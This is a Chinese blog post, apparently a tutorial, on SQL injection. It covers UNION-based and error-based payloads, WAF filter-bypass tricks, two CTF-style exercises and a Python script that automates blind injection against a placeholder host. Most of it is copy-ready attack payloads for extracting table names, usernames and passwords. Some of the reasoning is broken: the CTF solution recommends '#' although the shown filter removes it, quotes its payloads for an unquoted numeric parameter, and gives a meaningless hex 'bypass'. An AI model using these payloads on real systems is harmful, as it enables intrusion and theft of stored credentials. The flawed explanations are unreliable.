第2篇:SQL注入实战与绕过技术

一、联合查询注入(UNION Injection)

原理

UNION语句用于合并两个SELECT查询结果。当存在SQL注入时,可以用UNION获取其他表的数据。

关键条件:

  1. 注入点必须有SELECT权限
  2. UNION前后查询的列数必须相同
  3. UNION前后查询的数据类型必须兼容

如何确定列数?

方法1:ORDER BY排序法

' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --

如果页面正常,说明至少有1/2/3列。如果报错,则列数小于该数字。

方法2:UNION SELECT法

' UNION SELECT 1,2,3 --
' UNION SELECT NULL,NULL,NULL --

获取数据库信息

' UNION SELECT version(),database(),user() --

常用函数:

函数 作用
version() 数据库版本
database() 当前数据库名
user() 当前用户
@@datadir 数据库路径

获取表名

' UNION SELECT table_name,2 FROM information_schema.tables WHERE table_schema='webapp' --

常用表:

  • information_schema.tables - 所有表
  • information_schema.columns - 所有列

获取列名

' UNION SELECT column_name,2 FROM information_schema.columns WHERE table_name='users' --

获取数据

' UNION SELECT username,password FROM users --

二、报错注入(Error-based Injection)

当页面无回显但有数据库错误时使用。

常用函数

MySQL报错函数:

  1. extractvalue()
' AND extractvalue(1,concat(0x7e,version())) --
  1. updatexml()
' AND updatexml(1,concat(0x7e,database()),0) --
  1. floor()
' AND floor(rand()*2) --

实战获取数据

' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 0,1))) --

逐行获取:

' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 1,1))) --

三、绕过WAF技术

1. 绕过空格过滤

方法:使用注释符绕过

/**/UNION/**/SELECT/**/1,2,3--

方法:使用制表符/换行符

%09UNION%09SELECT%091,2,3--

2. 绕过单引号过滤

方法:使用十六进制编码

' OR 1=1--
=>

0x2720 OR 0x31=0x31

方法:使用CHAR()函数

' OR CHAR(97)=CHAR(97) --

3. 绕过UNION/SELECT过滤

方法:大小写混合

UniOn SeLeCt 1,2,3--

方法:内联注释

/*!UNION*/ /*!SELECT*/ 1,2,3--

4. 绕过注释符过滤

方法:使用逻辑运算符

' OR '1'='1
' AND '1'='1

四、实战CTF题目

题目:SQL Injection 2

题目代码:

<?php
    $id = $_GET['id'];
    
    // 过滤了空格和注释符
    $id = str_replace(" ", "", $id);
    $id = str_replace("--", "", $id);
    $id = str_replace("#", "", $id);
    
    $sql = "SELECT * FROM users WHERE id=$id";
    $result = mysqli_query($conn, $sql);
    
    if ($result) {
        echo "查询结果:<br>";
        while($row = mysqli_fetch_array($result)) {
            echo $row['username'] . "<br>";
        }
    } else {
        echo "查询失败";
    }
?>

过滤分析:

  • 空格被过滤 → 使用 /**/%09
  • -- 被过滤 → 使用 #

解题步骤:

  1. 测试注入点:
?id=1' AND '1'='1
  1. 判断列数:
?id=1' ORDER BY 3#
  1. 获取数据:
?id=-1' UNION/**/SELECT/**/1,version(),database()#

题目:Blind SQL Injection

题目描述:

这是一个盲注题目,页面只会返回"存在"或"不存在"

解题方法:

import requests

def blind_injection():
    result = ""
    for i in range(1, 50):
        for j in range(32, 127):
            payload = f"' AND ASCII(SUBSTR((SELECT database()),{i},1))={j}--"
            url = f"http://target.com/?id=1{payload}"
            r = requests.get(url)
            
            if "存在" in r.text:
                result += chr(j)
                print(f"Progress: {result}")
                break
    
    return result

posted on 2026-03-29 20:04  accuber  阅读(15)  评论(0)    收藏  举报

导航